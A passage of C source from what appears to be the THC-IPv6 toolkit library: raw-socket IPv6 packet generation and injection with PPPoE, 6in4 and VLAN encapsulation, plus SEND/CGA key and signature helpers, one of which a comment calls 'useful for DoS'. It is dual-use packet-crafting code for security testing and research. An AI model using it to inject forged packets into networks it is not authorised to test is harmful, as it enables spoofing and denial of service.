((do_hdr = malloc(64)) == NULL || (do_capture = malloc(64)) == NULL) { fprintf(stderr, "Error: could not allocate necessary memory\n"); exit(-1); } ptr2 = ptr; while ((ptr2 = index(ptr2, ',')) != NULL) { i++; ptr2++; } if (i != 2) { fprintf(stderr, "Error: wrong Syntax in THC_IPV6_PPPOE variable: " "source_mac,dst_mac,ppoe_session_id - e.g. " "01:02:03:04:05:06,07:08:09:a0:a1:a2,a1b2\n"); exit(-1); } ptr2 = strtok(ptr, ","); sscanf(ptr2, "%x:%x:%x:%x:%x:%x", (unsigned int *)&do_hdr[6], (unsigned int *)&do_hdr[7], (unsigned int *)&do_hdr[8], (unsigned int *)&do_hdr[9], (unsigned int *)&do_hdr[10], (unsigned int *)&do_hdr[11]); memcpy(tbuf, do_hdr + 6, 6); ptr2 = strtok(NULL, ","); sscanf(ptr2, "%x:%x:%x:%x:%x:%x", (unsigned int *)&do_hdr[0], (unsigned int *)&do_hdr[1], (unsigned int *)&do_hdr[2], (unsigned int *)&do_hdr[3], (unsigned int *)&do_hdr[4], (unsigned int *)&do_hdr[5]); memcpy(do_hdr + 6, tbuf, 6); if (do_hdr_vlan) sprintf(do_capture, /*"ether proto 0x8100 and */ "ether src %18s", ptr2); else sprintf(do_capture, /*"ether proto 0x8864 and */ "ether src %18s", ptr2); if (do_hdr_vlan) memcpy(do_hdr + 12, vbuf, 4); do_hdr[12 + do_hdr_off] = 0x88; do_hdr[13 + do_hdr_off] = 0x64; // PPPoE Header do_hdr[14 + do_hdr_off] = 0x11; do_hdr[15 + do_hdr_off] = 0; ptr2 = strtok(NULL, ","); if (strlen(ptr2) != 4) { fprintf(stderr, "Error: PPPoE session ID must be hexadecimal and a length of " "four, e.g. 0a1f\n"); exit(-1); } tbuf[0] = ptr2[0]; tbuf[1] = ptr2[1]; tbuf[2] = 0; sscanf(tbuf, "%x", (unsigned int *)&do_hdr[16 + do_hdr_off]); tbuf[0] = ptr2[2]; tbuf[1] = ptr2[3]; sscanf(tbuf, "%x", (unsigned int *)&do_hdr[17 + do_hdr_off]); // 2 bytes length: 18+19 do_hdr[20 + do_hdr_off] = 0x00; do_hdr[21 + do_hdr_off] = 0x57; if (debug) thc_dump_data(do_hdr, do_hdr_size + do_hdr_off, "PPPoE Header"); // if (/*verbose &&*/ _thc_ipv6_showerrors) printf("Information: PPPoE injection/sniffing activated\n"); } else if ((ptr = getenv("THC_IPV6_6IN4")) != NULL && strlen(ptr) > 0) { do_6in4 = 1; do_hdr_size = _6IN4_HDR_SIZE + do_hdr_off; if ((do_hdr = malloc(64)) == NULL || (do_capture = malloc(64)) == NULL) { fprintf(stderr, "Error: could not allocate necessary memory\n"); exit(-1); } ptr2 = ptr; while ((ptr2 = index(ptr2, ',')) != NULL) { i++; ptr2++; } if (i != 3) { fprintf(stderr, "Error: wrong Syntax in THC_IPV6_6IN4 variable: " "source_mac,dst_mac,src_ip,dst_ip - e.g. " "01:02:03:04:05:06,07:08:09:a0:a1:a2,1.1.1.1,2.2.2.2\n"); exit(-1); } ptr2 = strtok(ptr, ","); sscanf(ptr2, "%x:%x:%x:%x:%x:%x", (unsigned int *)&do_hdr[6], (unsigned int *)&do_hdr[7], (unsigned int *)&do_hdr[8], (unsigned int *)&do_hdr[9], (unsigned int *)&do_hdr[10], (unsigned int *)&do_hdr[11]); memcpy(tbuf, do_hdr + 6, 6); ptr2 = strtok(NULL, ","); sscanf(ptr2, "%x:%x:%x:%x:%x:%x", (unsigned int *)&do_hdr[0], (unsigned int *)&do_hdr[1], (unsigned int *)&do_hdr[2], (unsigned int *)&do_hdr[3], (unsigned int *)&do_hdr[4], (unsigned int *)&do_hdr[5]); memcpy(do_hdr + 6, tbuf, 6); if (do_hdr_vlan) memcpy(do_hdr + 12, vbuf, 4); do_hdr[12 + do_hdr_off] = 8; do_hdr[13 + do_hdr_off] = 0; // IPv4 Hdr do_hdr[14 + do_hdr_off] = 0x45; do_hdr[15 + do_hdr_off] = 0; // 2 bytes length: 16+17 do_hdr[18 + do_hdr_off] = 0; do_hdr[19 + do_hdr_off] = 0; do_hdr[20 + do_hdr_off] = 0; do_hdr[21 + do_hdr_off] = 0; do_hdr[22 + do_hdr_off] = 64; do_hdr[23 + do_hdr_off] = 41; // proto ipv6 do_hdr[24 + do_hdr_off] = 0; do_hdr[25 + do_hdr_off] = 0; // hdr chksum: 24+25 ptr2 = strtok(NULL, ","); if (inet_pton(AF_INET, ptr2, &servaddr.sin_addr) != 1) { fprintf(stderr, "Error: 6in4: not a valid IPv4 address: %s\n", ptr2); exit(-1); } memcpy(do_hdr + 26 + do_hdr_off, &servaddr.sin_addr, 4); ptr2 = strtok(NULL, ","); if (inet_pton(AF_INET, ptr2, &servaddr.sin_addr) != 1) { fprintf(stderr, "Error: 6in4: not a valid IPv4 address: %s\n", ptr2); exit(-1); } memcpy(do_hdr + 30 + do_hdr_off, &servaddr.sin_addr, 4); if (do_hdr_vlan) sprintf(do_capture, /*"ether proto 0x8100 and */ "ether src %18s", ptr2); else sprintf(do_capture, "ip proto 41 and src %16s", ptr2); if (debug) thc_dump_data(do_hdr, do_hdr_size, "6in4 Header"); // if (/*verbose &&*/ _thc_ipv6_showerrors) printf("Information: 6in4 injection/sniffin activated\n"); } if (do_hdr_vlan == 1 && do_6in4 == 0 && do_pppoe == 0) { do_hdr_size = 14 + do_hdr_off; if ((do_hdr = malloc(64)) == NULL || (do_capture = malloc(64)) == NULL) { fprintf(stderr, "Error: could not allocate necessary memory\n"); exit(-1); } ptr = getenv("THC_IPV6_VLAN"); ptr2 = strtok(ptr, ","); sscanf(ptr2, "%x:%x:%x:%x:%x:%x", (unsigned int *)&do_hdr[6], (unsigned int *)&do_hdr[7], (unsigned int *)&do_hdr[8], (unsigned int *)&do_hdr[9], (unsigned int *)&do_hdr[10], (unsigned int *)&do_hdr[11]); memcpy(tbuf, do_hdr + 6, 6); ptr2 = strtok(NULL, ","); sscanf(ptr2, "%x:%x:%x:%x:%x:%x", (unsigned int *)&do_hdr[0], (unsigned int *)&do_hdr[1], (unsigned int *)&do_hdr[2], (unsigned int *)&do_hdr[3], (unsigned int *)&do_hdr[4], (unsigned int *)&do_hdr[5]); memcpy(do_hdr + 6, tbuf, 6); memcpy(do_hdr + 12, vbuf, 4); do_hdr[16] = 0x86; do_hdr[17] = 0xdd; sprintf(do_capture, /*"ether proto 0x8100 and */ "ether src %18s", ptr2); } int s = -1; if (_thc_ipv6_rawmode) s = socket( PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL)); // XXX BUG TODO FIXME : no this is not working. else s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // return socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP)); // Bind socket to interface if (interface) { strncpy((char *)ifr.ifr_name, interface, IFNAMSIZ); ret = ioctl(s, SIOCGIFINDEX, &ifr, sizeof(ifr)); if (ret < 0) { perror("IOCTL SIOCGIFINDEX Failed"); } if (debug) printf("Socket interface idx %d\n", ifr.ifr_ifindex); sock_ll.sll_ifindex = ifr.ifr_ifindex; ioctl(s, SIOCGIFHWADDR, &ifr, sizeof(ifr)); if (ret < 0) { perror("IOCTL SIOCGIFHWADDR, Failed"); } if (debug) printf("Socket interface HW addr: %s\n", ether_ntoa((struct ether_addr *)ifr.ifr_hwaddr.sa_data)); memcpy(sock_ll.sll_addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN); ret = bind(s, (const struct sockaddr *)&sock_ll, sizeof(sock_ll)); if (ret < 0) { perror("Bind failed"); } } return s; } int thc_generate_pkt(char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *pkt, int *pkt_len) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr; thc_icmp6_hdr * ihdr; thc_tcp_hdr * thdr; thc_udp_hdr * uhdr; char *next, *mysrcmac = NULL, *mydstmac = NULL, *last_type, *checksum_src; int type, bufptr, do_checksum = 0, offset = 0, i, is_ip4 = 0, malloc_size; malloc_size = *pkt_len + 14 + do_hdr_size + 64; if (malloc_size < 2048) malloc_size = 2048; if (pkt == NULL || hdr->pkt != NULL || (hdr->pkt = malloc(malloc_size)) == NULL) return -1; hdr->pkt_len = *pkt_len; if (interface == NULL) interface = default_interface; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (_thc_ipv6_rawmode == 0) { if (do_pppoe || do_6in4 || do_hdr_vlan) { if (do_pppoe) { memcpy(&hdr->pkt[0], do_hdr, do_hdr_size); hdr->pkt[18 + do_hdr_off] = (*pkt_len + 2) / 256; hdr->pkt[19 + do_hdr_off] = (*pkt_len + 2) % 256; } else if (do_6in4) { // 6in4 do_hdr[16 + do_hdr_off] = (*pkt_len + 20) / 256; do_hdr[17 + do_hdr_off] = (*pkt_len + 20) % 256; // hdrchecksum i = calculate_checksum(do_hdr + 14 + do_hdr_off, 20); memcpy(&hdr->pkt[0], do_hdr, do_hdr_size); hdr->pkt[24 + do_hdr_off] = i / 256; hdr->pkt[25 + do_hdr_off] = i % 256; } else { memcpy(&hdr->pkt[0], do_hdr, do_hdr_size); } offset += do_hdr_size; hdr->pkt_len += offset; *pkt_len += offset; } else { offset += 14; hdr->pkt_len += offset; *pkt_len += offset; if (srcmac == NULL) mysrcmac = thc_get_own_mac(interface); else mysrcmac = srcmac; if (dstmac == NULL) mydstmac = thc_get_mac(interface, hdr->src, hdr->dst); else mydstmac = dstmac; if (mysrcmac == NULL || mydstmac == NULL) { if (_thc_ipv6_showerrors) fprintf(stderr, "Error: could not get target MAC address\n"); if (mysrcmac != NULL && srcmac == NULL) free(mysrcmac); if (mydstmac != NULL && dstmac == NULL) free(mydstmac); return -1; } memset(hdr->pkt, 0, *pkt_len); memcpy(&hdr->pkt[0], mydstmac, 6); memcpy(&hdr->pkt[6], mysrcmac, 6); hdr->pkt[12] = IPV6_FRAME_TYPE / 256; hdr->pkt[13] = IPV6_FRAME_TYPE % 256; } } hdr->pkt[0 + offset] = ((hdr->version % 16) << 4) | (hdr->class / 16); hdr->pkt[1 + offset] = ((hdr->class % 16) << 4) | ((hdr->label % 1048576) / 65536); hdr->pkt[2 + offset] = (hdr->label % 65536) / 256; hdr->pkt[3 + offset] = hdr->label % 256; hdr->pkt[4 + offset] = hdr->length / 256; hdr->pkt[5 + offset] = hdr->length % 256; if (hdr->next != NXT_IP4_RUDIMENTARY) hdr->pkt[6 + offset] = hdr->next; else hdr->pkt[6 + offset] = NXT_IP4; last_type = &hdr->pkt[7 + offset]; hdr->pkt[7 + offset] = hdr->ttl; memcpy(&hdr->pkt[8 + offset], hdr->src, 16); memcpy(&hdr->pkt[24 + offset], hdr->dst, 16); next = hdr->next_segment; type = hdr->next; bufptr = 40 + offset; checksum_src = hdr->original_src; // here go extension headers (not icmp6, tcp, udp, pim, etc.) // BUT ipv4 yes, but not IP4_RUDIMENTARY while (type == NXT_HDR || type == NXT_ROUTE || type == NXT_FRAG || type == NXT_OPTS || type == NXT_INVALID || type == NXT_IGNORE || type == NXT_AH || type == NXT_ESP || type == NXT_IP4 || type == NXT_IP6) { if (type != NXT_IP4 && type != NXT_IP6) { ehdr = (thc_ipv6_ext_hdr *)next; if (ehdr->next != NXT_IP4_RUDIMENTARY) hdr->pkt[bufptr] = ehdr->next; else hdr->pkt[bufptr] = NXT_IP4; hdr->pkt[bufptr + 1] = ehdr->length; last_type = &hdr->pkt[bufptr]; if (ehdr->data != NULL && ehdr->data_len > 0) { memcpy(&hdr->pkt[bufptr + 2], ehdr->data, ehdr->data_len); if (type == NXT_OPTS && hdr->pkt[bufptr + 2] == 0xc9) { // mobile home address option checksum_src = &hdr->pkt[bufptr + 4]; } } bufptr += 2 + ehdr->data_len; next = ehdr->next_segment; type = ehdr->next; } else { if (type == NXT_IP4) { is_ip4 = bufptr; printf("NXT_IP4 NOT IMPLEMENTED\n"); // to be filled XXX TODO FIXME } else if (type == NXT_IP6) { printf("NXT_IP6 NOT IMPLEMENTED"); // to be filled XXX TODO FIXME } } } // now the rest of protocols that are final destinations switch (type) { case NXT_NONXT: break; case NXT_PIM: ehdr = (thc_ipv6_ext_hdr *)next; memcpy(&hdr->pkt[bufptr], ehdr->data, ehdr->data_len); hdr->pkt[bufptr + 2] = 0; hdr->pkt[bufptr + 3] = 0; do_checksum = checksum_pseudo_header(checksum_src, hdr->final_dst, NXT_PIM, &hdr->pkt[bufptr], ehdr->data_len); hdr->pkt[bufptr + 2] = do_checksum / 256; hdr->pkt[bufptr + 3] = do_checksum % 256; bufptr += ehdr->data_len; break; case NXT_ICMP6: ihdr = (thc_icmp6_hdr *)next; if (ihdr->checksum == DO_CHECKSUM) { ihdr->checksum = 0; do_checksum = 1; } hdr->pkt[bufptr] = ihdr->type; hdr->pkt[bufptr + 1] = ihdr->code; hdr->pkt[bufptr + 2] = ihdr->checksum / 256; hdr->pkt[bufptr + 3] = ihdr->checksum % 256; hdr->pkt[bufptr + 4] = ihdr->flags / 16777216; hdr->pkt[bufptr + 5] = (ihdr->flags % 16777216) / 65536; hdr->pkt[bufptr + 6] = (ihdr->flags % 65536) / 256; hdr->pkt[bufptr + 7] = ihdr->flags % 256; if (ihdr->data != NULL && ihdr->data_len > 0) memcpy(&hdr->pkt[bufptr + 8], ihdr->data, ihdr->data_len); if (do_checksum) { // memcpy( hdr->final_dst, hdr->pkt + 38, 16); ihdr->checksum = checksum_pseudo_header(checksum_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[bufptr], 8 + ihdr->data_len); /* printf("\n"); thc_dump_data((unsigned char *)hdr->pkt + 22, 16,"packet source"); thc_dump_data((unsigned char *)checksum_src, 16, "original source"); thc_dump_data((unsigned char *)hdr->final_dst, 16, "final destination"); thc_dump_data((unsigned char *)hdr->pkt + 38, 16, "pkt destination"); printf("\n"); */ hdr->pkt[bufptr + 2] = ihdr->checksum / 256; hdr->pkt[bufptr + 3] = ihdr->checksum % 256; do_checksum = 0; } bufptr += 8 + ihdr->data_len; break; case NXT_TCP: thdr = (thc_tcp_hdr *)next; if (thdr->checksum == DO_CHECKSUM) { thdr->checksum = 0; do_checksum = 1; } hdr->pkt[bufptr] = thdr->sport / 256; hdr->pkt[bufptr + 1] = thdr->sport % 256; hdr->pkt[bufptr + 2] = thdr->dport / 256; hdr->pkt[bufptr + 3] = thdr->dport % 256; hdr->pkt[bufptr + 4] = thdr->sequence / 16777216; hdr->pkt[bufptr + 5] = (thdr->sequence % 16777216) / 65536; hdr->pkt[bufptr + 6] = (thdr->sequence % 65536) / 256; hdr->pkt[bufptr + 7] = thdr->sequence % 256; hdr->pkt[bufptr + 8] = thdr->ack / 16777216; hdr->pkt[bufptr + 9] = (thdr->ack % 16777216) / 65536; hdr->pkt[bufptr + 10] = (thdr->ack % 65536) / 256; hdr->pkt[bufptr + 11] = thdr->ack % 256; hdr->pkt[bufptr + 12] = thdr->length; hdr->pkt[bufptr + 13] = thdr->flags; hdr->pkt[bufptr + 14] = thdr->window % 256; hdr->pkt[bufptr + 15] = thdr->window / 256; hdr->pkt[bufptr + 18] = thdr->urgent % 256; hdr->pkt[bufptr + 19] = thdr->urgent / 256; if (thdr->option != NULL && thdr->option_len > 0) memcpy(&hdr->pkt[bufptr + 20], thdr->option, thdr->option_len); if (thdr->data != NULL && thdr->data_len > 0) memcpy(&hdr->pkt[bufptr + 20 + thdr->option_len], thdr->data, thdr->data_len); if (do_checksum) { // memcpy( hdr->final_dst, hdr->pkt + 38, 16); thdr->checksum = checksum_pseudo_header( checksum_src, hdr->final_dst, NXT_TCP, &hdr->pkt[bufptr], 20 + thdr->option_len + thdr->data_len); /* printf("\n"); thc_dump_data((unsigned char *)hdr->pkt + 22, 16,"packet source"); thc_dump_data((unsigned char *)checksum_src, 16, "original source"); thc_dump_data((unsigned char *)hdr->final_dst, 16, "final destination"); thc_dump_data((unsigned char *)hdr->pkt + 38, 16, "pkt destination"); printf("\n"); */ hdr->pkt[bufptr + 16] = thdr->checksum / 256; hdr->pkt[bufptr + 17] = thdr->checksum % 256; do_checksum = 0; } bufptr += 20 + thdr->option_len + thdr->data_len; break; case NXT_IP4_RUDIMENTARY: memcpy(hdr->pkt + bufptr, next, THC_IPv4_RUDIMENTARY_LEN); bufptr += THC_IPv4_RUDIMENTARY_LEN; break; case NXT_UDP: uhdr = (thc_udp_hdr *)next; if (uhdr->checksum == DO_CHECKSUM) { uhdr->checksum = 0; do_checksum = 1; } hdr->pkt[bufptr] = uhdr->sport / 256; hdr->pkt[bufptr + 1] = uhdr->sport % 256; hdr->pkt[bufptr + 2] = uhdr->dport / 256; hdr->pkt[bufptr + 3] = uhdr->dport % 256; hdr->pkt[bufptr + 4] = uhdr->length / 256; hdr->pkt[bufptr + 5] = uhdr->length % 256; if (uhdr->data != NULL && uhdr->data_len > 0) memcpy(&hdr->pkt[bufptr + 8], uhdr->data, uhdr->data_len); if (do_checksum) { // memcpy( hdr->final_dst, hdr->pkt + 38, 16); uhdr->checksum = checksum_pseudo_header(checksum_src, hdr->final_dst, NXT_UDP, &hdr->pkt[bufptr], 8 + uhdr->data_len); /* printf("\n"); thc_dump_data((unsigned char *)hdr->pkt + 22, 16,"packet source"); thc_dump_data((unsigned char *)checksum_src, 16, "original source"); thc_dump_data((unsigned char *)hdr->final_dst, 16, "final destination"); thc_dump_data((unsigned char *)hdr->pkt + 38, 16, "pkt destination"); printf("\n"); */ hdr->pkt[bufptr + 6] = uhdr->checksum / 256; hdr->pkt[bufptr + 7] = uhdr->checksum % 256; do_checksum = 0; } bufptr += 8 + uhdr->data_len; break; case NXT_DATA: ehdr = (thc_ipv6_ext_hdr *)next; memcpy(&hdr->pkt[bufptr], ehdr->data, ehdr->data_len); if (ehdr->next == NXT_MIPV6) { do_checksum = checksum_pseudo_header(checksum_src, hdr->final_dst, NXT_MIPV6, &hdr->pkt[bufptr], ehdr->data_len); hdr->pkt[bufptr + 4] = do_checksum / 256; hdr->pkt[bufptr + 5] = do_checksum % 256; } bufptr += ehdr->data_len; *last_type = ehdr->next; break; // XXX TODO FIXME: other protocols default: if (_thc_ipv6_showerrors) fprintf(stderr, "Error: Data packet type %d not implemented!\n", type); if (srcmac == NULL) free(mysrcmac); if (dstmac == NULL) free(mydstmac); return -1; } if (bufptr != *pkt_len) if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: packet size mismatch (%d != %d)!\n", *pkt_len, bufptr); if (debug) thc_dump_data(hdr->pkt, *pkt_len, "Generated Packet"); if (srcmac == NULL && mysrcmac != NULL) free(mysrcmac); if (dstmac == NULL && mydstmac != NULL) free(mydstmac); if (debug) printf("Returning from thc_generate_pkt()\n"); return 0; } int thc_send_pkt(char *interface, unsigned char *pkt, int *pkt_len) { struct thcsockaddr sa; thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; if (pkt == NULL || hdr->pkt == NULL || hdr->pkt_len < 1 || hdr->pkt_len > 65535) return -2; if (interface == NULL) interface = default_interface; /* else if (_thc_ipv6_showerrors && strlen(interface) > 13) fprintf(stderr, "Warning: the socket interface used does not support long interface names!\n"); strcpy(sa.sa_data, interface); */ if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (thc_socket < 0 && geteuid() != 0) { fprintf(stderr, "Error: Program must be run as root.\n"); exit(-1); } if (debug) thc_dump_data(hdr->pkt, hdr->pkt_len, "Sent Packet"); if ((_thc_ipv6_rawmode > 0 && hdr->pkt_len > thc_get_mtu(interface)) || (_thc_ipv6_rawmode == 0 && hdr->pkt_len > thc_get_mtu(interface) + 14)) { if (_thc_ipv6_showerrors) fprintf( stderr, "Warning: packet size is larger than MTU of interface (%d > %d)!\n", hdr->pkt_len, thc_get_mtu(interface)); if (thc_get_mtu(interface) == -1) { if (_thc_ipv6_showerrors) fprintf(stderr, "Error: interface invalid\n"); exit(-1); } } return send(thc_socket, hdr->pkt, hdr->pkt_len, 0); // return sendto(thc_socket, hdr->pkt, hdr->pkt_len, 0, (struct sockaddr*)&sa, // sizeof(sa)); } int thc_generate_and_send_pkt(char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *pkt, int *pkt_len) { if (thc_generate_pkt(interface, srcmac, dstmac, pkt, pkt_len)) return -1; while (thc_send_pkt(interface, pkt, pkt_len) == -1) usleep(1); return 0; } unsigned char *thc_destroy_packet(unsigned char *pkt) { char * ptrs[16375]; int iptr = 0; char * next; int type; thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr; thc_icmp6_hdr * ihdr; thc_tcp_hdr * thdr; thc_udp_hdr * uhdr; ptrs[iptr] = pkt; iptr++; next = hdr->next_segment; type = hdr->next; if (hdr->pkt != NULL) free(hdr->pkt); while (type == NXT_HDR || type == NXT_ROUTE || type == NXT_FRAG || type == NXT_OPTS || type == NXT_INVALID || type == NXT_IGNORE || type == NXT_AH || type == NXT_ESP) { ehdr = (thc_ipv6_ext_hdr *)next; ptrs[iptr] = ehdr->data; iptr++; ptrs[iptr] = (char *)ehdr; iptr++; next = ehdr->next_segment; type = ehdr->next; } switch (type) { case NXT_NONXT: break; case NXT_ICMP6: ihdr = (thc_icmp6_hdr *)next; ptrs[iptr] = ihdr->data; iptr++; ptrs[iptr] = (char *)ihdr; iptr++; break; case NXT_TCP: thdr = (thc_tcp_hdr *)next; ptrs[iptr] = thdr->option; iptr++; ptrs[iptr] = thdr->data; iptr++; ptrs[iptr] = (char *)thdr; iptr++; break; case NXT_UDP: uhdr = (thc_udp_hdr *)next; ptrs[iptr] = uhdr->data; iptr++; ptrs[iptr] = (char *)uhdr; iptr++; break; case NXT_IP4_RUDIMENTARY: free(next); break; case NXT_DATA: ehdr = (thc_ipv6_ext_hdr *)next; ptrs[iptr] = ehdr->data; iptr++; ptrs[iptr] = (char *)ehdr; iptr++; break; case NXT_PIM: ehdr = (thc_ipv6_ext_hdr *)next; ptrs[iptr] = ehdr->data; iptr++; ptrs[iptr] = (char *)ehdr; iptr++; break; // XXX TODO: other protocols default: if (_thc_ipv6_showerrors) fprintf(stderr, "Error: Data packet type %d not implemented - some data not " "free'ed!\n", type); } ptrs[iptr] = NULL; while (iptr >= 0) { if (debug) printf("free ptrs[%d]=%p\n", iptr, ptrs[iptr]); if (ptrs[iptr] != NULL) free(ptrs[iptr]); iptr--; } return NULL; } void thc_dump_data(unsigned char *buf, int len, char *text) { unsigned char *p = (unsigned char *)buf; unsigned char lastrow_data[16]; int rows = len / 16; int lastrow = len % 16; int i, j; if (buf == NULL || len == 0) return; if (text != NULL && text[0] != 0) printf("%s (%d bytes):\n", text, len); for (i = 0; i < rows; i++) { printf("%04hx: ", i * 16); for (j = 0; j < 16; j++) { printf("%02x", p[(i * 16) + j]); if (j % 2 == 1) printf(" "); } printf(" [ "); for (j = 0; j < 16; j++) { if (isprint(p[(i * 16) + j])) printf("%c", p[(i * 16) + j]); else printf("."); } printf(" ]\n"); } if (lastrow > 0) { memset(lastrow_data, 0, sizeof(lastrow_data)); memcpy(lastrow_data, p + len - lastrow, lastrow); printf("%04hx: ", i * 16); for (j = 0; j < lastrow; j++) { printf("%02x", p[(i * 16) + j]); if (j % 2 == 1) printf(" "); } while (j < 16) { printf(" "); if (j % 2 == 1) printf(" "); j++; } printf(" [ "); for (j = 0; j < lastrow; j++) { if (isprint(p[(i * 16) + j])) printf("%c", p[(i * 16) + j]); else printf("."); } while (j < 16) { printf(" "); j++; } printf(" ]\n"); } } unsigned char *thc_memstr(char *haystack, char *needle, int haystack_length, int needle_length) { register int i; if (needle_length > haystack_length) return NULL; for (i = 0; i <= haystack_length - needle_length; i++) if (memcmp(haystack + i, needle, needle_length) == 0) return (haystack + i); return NULL; } #ifdef _HAVE_SSL /* Added by willdamn 2006/07 */ thc_key_t *thc_generate_key(int key_len) { thc_key_t *key; if ((key = (thc_key_t *)malloc(sizeof(thc_key_t))) == NULL) return NULL; #if defined(NO_RSA_LEGACY) || OPENSSL_VERSION_NUMBER >= 0x10100000L RSA *rsa = RSA_new(); if (rsa == NULL) { free(key); return NULL; } BIGNUM *f4 = BN_new(); if (f4 == NULL) return NULL; if (BN_set_word(f4, RSA_F4) == 0) return NULL; if (RSA_generate_key_ex(rsa, key_len, f4, NULL) != 1) { free(key); unsigned long err = ERR_get_error(); if (err == 67637368) printf("Key size too small. Try with 512 bits at least\n"); return NULL; } else key->rsa = rsa; #else if ((key->rsa = RSA_generate_key(key_len, 65535, NULL, NULL)) == NULL) { free(key); return NULL; } key->len = key_len; #endif return key; } thc_cga_hdr *thc_generate_cga(unsigned char *prefix, thc_key_t *key, unsigned char **cga) { thc_cga_hdr * cga_hdr; unsigned char md_value[EVP_MAX_MD_SIZE]; unsigned char *p, *tmp; int klen, rand_fd, cgasize, ignore = 0; if ((cga_hdr = (thc_cga_hdr *)malloc(sizeof(thc_cga_hdr))) == NULL) return NULL; cga_hdr->type = 11; /* prepare CGA paramater */ /* CGA header & mod_value, prefix, collision_count from CGA parameter */ cgasize = 29; if ((rand_fd = open("/dev/urandom", O_RDONLY)) < 0) { if (_thc_ipv6_showerrors) printf("Cannot open source of randomness!\n"); free(cga_hdr); return NULL; } ignore = read(rand_fd, cga_hdr->modifier, 16); close(rand_fd); /* DER-encode public key */ klen = i2d_RSA_PUBKEY(key->rsa, NULL); if ((cga_hdr->pub_key = (unsigned char *)malloc(klen)) == NULL) { free(cga_hdr); return NULL; } p = cga_hdr->pub_key; klen = i2d_RSA_PUBKEY(key->rsa, &p); key->len = klen; cgasize += klen; cga_hdr->collision_cnt = 0; memcpy(cga_hdr->prefix, prefix, 8); if ((tmp = malloc(cgasize - 4)) == NULL) { if (_thc_ipv6_showerrors) perror("tmp malloc "); free(cga_hdr); return NULL; } memcpy(tmp, cga_hdr->modifier, 25); memcpy(tmp + 25, cga_hdr->pub_key, klen); /* compute hash1 */ SHA1(tmp, cgasize - 4, md_value); free(tmp); if (cgasize % 8 == 0) { cga_hdr->len = cgasize / 8; cga_hdr->pad_len = 0; } else { cga_hdr->len = cgasize / 8 + 1; cga_hdr->pad_len = cga_hdr->len * 8 - cgasize; cga_hdr->pad = (char *)malloc(cga_hdr->pad_len); } /* Prepare CGA */ if ((*cga = (char *)malloc(16)) == NULL) { free(cga_hdr); return NULL; } memcpy(*cga, prefix, 8); /* add address identifier to cga */ memcpy(*cga + 8, md_value, 8); /* set "U" & "G" bits ; currently sec equals 0 */ *(*cga + 8) &= 0x1c; // XXX BUG TODO FIXME: // here must be something missing in will's code. // cga is not pointed to by cga_hdr when we return return cga_hdr; } thc_timestamp_hdr *generate_timestamp(void) { thc_timestamp_hdr *timestamp; struct timeval time; if ((timestamp = (thc_timestamp_hdr *)calloc(1, sizeof(thc_timestamp_hdr))) == NULL) return NULL; timestamp->type = 13; timestamp->len = 2; gettimeofday(&time, NULL); timestamp->timeval = bswap_64(time.tv_sec << 16); return timestamp; } thc_nonce_hdr *generate_nonce(void) { thc_nonce_hdr *nonce; if ((nonce = (thc_nonce_hdr *)malloc(sizeof(thc_nonce_hdr))) == NULL) return NULL; nonce->type = 14; nonce->nonce[0] = nonce->nonce[3] = 0xa; nonce->nonce[1] = nonce->nonce[4] = 0xc; nonce->nonce[2] = nonce->nonce[5] = 0xe; nonce->len = sizeof(thc_nonce_hdr) / 8; return nonce; } thc_rsa_hdr *thc_generate_rsa(char *data2sign, int data2sign_len, thc_cga_hdr *cga_hdr, thc_key_t *key) { thc_rsa_hdr * rsa_hdr; unsigned char md_value[EVP_MAX_MD_SIZE], hash[20]; int rsa_hdr_len, sign_len, fd, ignore = 0; if ((rsa_hdr = (thc_rsa_hdr *)malloc(sizeof(thc_rsa_hdr))) == NULL) return NULL; rsa_hdr->type = 12; /* compute public key hash */ SHA1(cga_hdr->pub_key, key->len, md_value); memcpy(rsa_hdr->key_hash, md_value, 16); /* If cga type tag's unknown set a bad RSA signature, e.g useful for DoS */ if (data2sign_len > 0) SHA1(data2sign, data2sign_len, hash); else { fd = open("/dev/urandom", O_RDONLY); ignore = read(fd, hash, 20); close(fd); } sign_len = RSA_size(key->rsa); if ((rsa_hdr->sign = malloc(sign_len)) == NULL) { free(rsa_hdr); return NULL; } if (RSA_sign(NID_sha1, hash, 20, rsa_hdr->sign, &sign_len, key->rsa) == 0) { if (_thc_ipv6_showerrors) printf("Error during generating RSA signature! \n"); free(rsa_hdr); return NULL; } rsa_hdr_len = 20 + sign_len; if (rsa_hdr_len % 8 == 0) { rsa_hdr->len = rsa_hdr_len / 8; rsa_hdr->pad = NULL; } else { rsa_hdr->len = rsa_hdr_len / 8 + 1; rsa_hdr->pad = malloc(rsa_hdr->len * 8 - rsa_hdr_len); } return rsa_hdr; } int thc_add_send(unsigned char *pkt, int *pkt_len, int type, int code, unsigned int flags, unsigned char *data, int data_len, thc_cga_hdr *cga_hdr, thc_key_t *key, unsigned char *tag, int checksum) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_icmp6_hdr * ihdr = malloc(sizeof(thc_icmp6_hdr)); thc_ipv6_ext_hdr * ehdr; thc_nonce_hdr * nonce_hdr = NULL; thc_timestamp_hdr *timestamp_hdr = NULL; thc_rsa_hdr * rsa_hdr = NULL; unsigned char * ndp_opt_buff, *data2sign = NULL; char * buff; int ndp_opt_len, data2sign_len, offset; /* build standard part of ND message */ if (ihdr == NULL) return -1; memset(ihdr, 0, sizeof(thc_icmp6_hdr)); if (hdr->final != NULL) { ehdr = (thc_ipv6_ext_hdr *)hdr->final; ehdr->next_segment = (char *)ihdr; ehdr->next = NXT_ICMP6; } else { hdr->next_segment = (char *)ihdr; hdr->next = NXT_ICMP6; } hdr->final = (char *)ihdr; hdr->final_type = NXT_ICMP6; ihdr->type = type; ihdr->code = code; ihdr->flags = flags; if 